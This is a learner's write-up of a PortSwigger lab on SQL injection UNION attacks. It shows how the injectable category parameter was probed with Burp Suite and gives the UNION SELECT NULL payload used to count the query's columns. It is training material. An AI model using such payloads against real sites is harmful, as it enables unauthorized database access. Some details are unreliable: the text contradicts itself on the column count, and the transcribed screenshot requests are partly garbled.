

Lab: SQL injection UNION attack, determining the number of columns returned by the query

Platform: PortSwigger

Category: SQL Injection

Difficulty: Practitioner

Tools: Burp Suite

1. Objective

The goal of this lab is to determine the number of columns returned by the SQL query using a UNION SELECT attack with NULL values.

2. Impact

A SQL injection vulnerability can allow an attacker to manipulate the application's SQL query and retrieve data from the database.

In this lab, the goal is only to determine the number of columns returned by the query. This is an important step when performing a UNION attack.

3. Steps to Solve

Step 1: Find the injection point

I opened the lab and browsed the website normally.

The application contains different product categories, so I selected a category and checked the request generated by the application.

Then I opened **Burp Suite** → **Proxy** → **HTTP history** and looked for the request containing the category parameter.

I sent the request to **Repeater** so I could modify the parameter and test it.

Step 2: Test a UNION SELECT with one column

In Repeater, I modified the category parameter and added a UNION SELECT statement containing one NULL value:

- category=' +UNION+SELECT+NULL --

I sent the request and received an error.

This indicated that the number of columns in my UNION SELECT did not match the number of columns returned by the original query.

Step 3: Add another column

I added another NULL value to the UNION SELECT statement:

- category=' +UNION+SELECT+NULL, NULL --

I sent the request again.

And I received an error message again.

Step 3: Add another column

I added another NULL value to the UNION SELECT statement:

- category= '+UNION+SELECT+NULL, NULL, NULL --

I sent the request again.

This time, the error disappeared and the response contained additional content.

This confirmed that the original query returns **3 columns**.

4. Payload

The final payload was: '+UNION+SELECT+NULL, NULL, NULL --

5. Result

The UNION SELECT query worked when I used **three NULL values**.

This confirmed that the original SQL query returns: 3 columns

6. Root Cause

The vulnerability exists because the application uses the category parameter directly in a SQL query without properly parameterizing it.

This allows an attacker to modify the SQL statement and use a UNION SELECT to interact with additional query results.

7. Conclusions and Evaluation

What did I learn?

I learned how to determine the number of columns returned by a SQL query using a UNION SELECT attack. I also learned why NULL values are useful when testing the number of columns because they can be used without knowing the data type of each column.

Lab Rating

4/5 ★★★★★

Did I face any challenges?

The main challenge was finding the correct number of columns. The first payload with one NULL value returned an error, so I added another NULL value and tested the request again. When the error disappeared, I knew that the query returned two columns.

8. References

- PortSwigger Web Security Academy - SQL Injection
 - PortSwigger Web Security Academy - SQL Injection UNION Attacks
 - PortSwigger Web Security Academy - Determining the number of columns
 - OWASP SQL Injection Prevention Cheat Sheet
-

8. Screenshots

The first screenshot shows the Burp Suite interface with the HTTP history tab selected. A list of intercepted requests is visible, including a successful SQL injection attack on the 'Corporate gifts' page. The request details show a 'GET' method to '/filter?category=Corporate+gifts' with a status code of 200. The response preview shows the 'Web Security Academy' logo and a message about the SQL injection attack.

The second screenshot shows the Burp Suite interface with the Repeater tab selected. A request is being repeated, and the response preview shows an 'Internal Server Error' message. The request details show a 'GET' method to '/filter?category=Corporate+gifts' with a status code of 500.

HTTP History Table:

#	Host	Method	URL	Params	Edited	Status code	Length	MIME type	Extension	Title	Notes	TLS	IP	Time	Listener port	Start response
6062	https://0a3f0019030277af80d...	GET	/filter?category=Corporate+gifts		✓	200	5178	HTML		SQL injection UNION at...		✓	79.125.84.16	02:39:56.28...	8080	129
6063	https://0a3f0019030277af80d...	GET	/academy/lab/header			101	147					✓	79.125.84.16	02:39:56.28...	8080	154
6060	https://0a3f0019030277af80d...	GET	/academy/lab/header			101	147					✓	79.125.84.16	02:39:47.28...	8080	147
6053	https://0a3f0019030277af80d...	GET	/			200	9368	HTML		SQL injection UNION at...		✓	79.125.84.16	02:39:46.28...	8080	325

Request Details (First Screenshot):

```
1 GET /filter?category=Corporate+gifts HTTP/2
2 Host: 0a3f0019030277af80d80d1500fe00fa.web-security-academy.net
3 Cookie: session=6060277af80d80d1500fe00fa.web-security-academy.net
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.9
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://0a3f0019030277af80d80d1500fe00fa.web-security-academy.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-User: ?1
13 Pragma: no-cache
14 Te: trailers
```

Response Details (First Screenshot):

Web Security Academy

SQL injection UNION attack, determining the number of columns returned by the query

Back to lab home
Back to lab description

WE LIKE TO SHOP

Corporate gifts

Refine your search:
All Accessories Clothing, shoes and accessories Corporate gifts Pets

Request Details (Second Screenshot):

```
1 GET /filter?category=Corporate+gifts HTTP/2
2 Host: 0a3f0019030277af80d80d1500fe00fa.web-security-academy.net
3 Cookie: session=6060277af80d80d1500fe00fa.web-security-academy.net
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.9
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://0a3f0019030277af80d80d1500fe00fa.web-security-academy.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-User: ?1
13 Pragma: no-cache
14 Te: trailers
```

Response Details (Second Screenshot):

Internal Server Error

Internal Server Error

1 Burp Project Intruder Repeater View Help Hackvortor

Target: https://0a3f0019030277af80d80d1500fe00fa.web-security-academy.net

Request

```
1 GET /filter?category=HOMIE&SELECT(NULL,NULL,NULL-- HTTP/2
2 Host: 0a3f0019030277af80d80d1500fe00fa.web-security-academy.net
3 Cookie: session=0a3f0019030277af80d80d1500fe00fa
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:154.0) Gecko/20100101 Firefox/154.0
5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 Accept-Language: en-US,en;q=0.9
7 Accept-Encoding: gzip, deflate, br
8 Referer: https://0a3f0019030277af80d80d1500fe00fa.web-security-academy.net/
9 Upgrade-Insecure-Requests: 1
10 Sec-Fetch-Dest: document
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-User: ?1
14 Priority: u=0, i
15 Te: trailers
```

Response

Web Security Academy SQL injection UNION attack, determining the number of columns returned by the query

LAB Solved

Back to lab description >>

Congratulations, you solved the lab! Share your skills! Continuous learning >>

Home | My account

WE LIKE TO SHOP

' UNION SELECT NULL,NULL,NULL--

Refine your search:

All Accessories Clothing, shoes and accessories Corporate gifts Pets Tech gifts

Inspector

- Request attributes: 2
- Request query parameters: 1
- Request body parameters: 0
- Request cookies: 1
- Request headers: 17
- Response headers: 3

7,201 bytes | 107 mals

Memory: 471.6MB of 15.91GB Disabled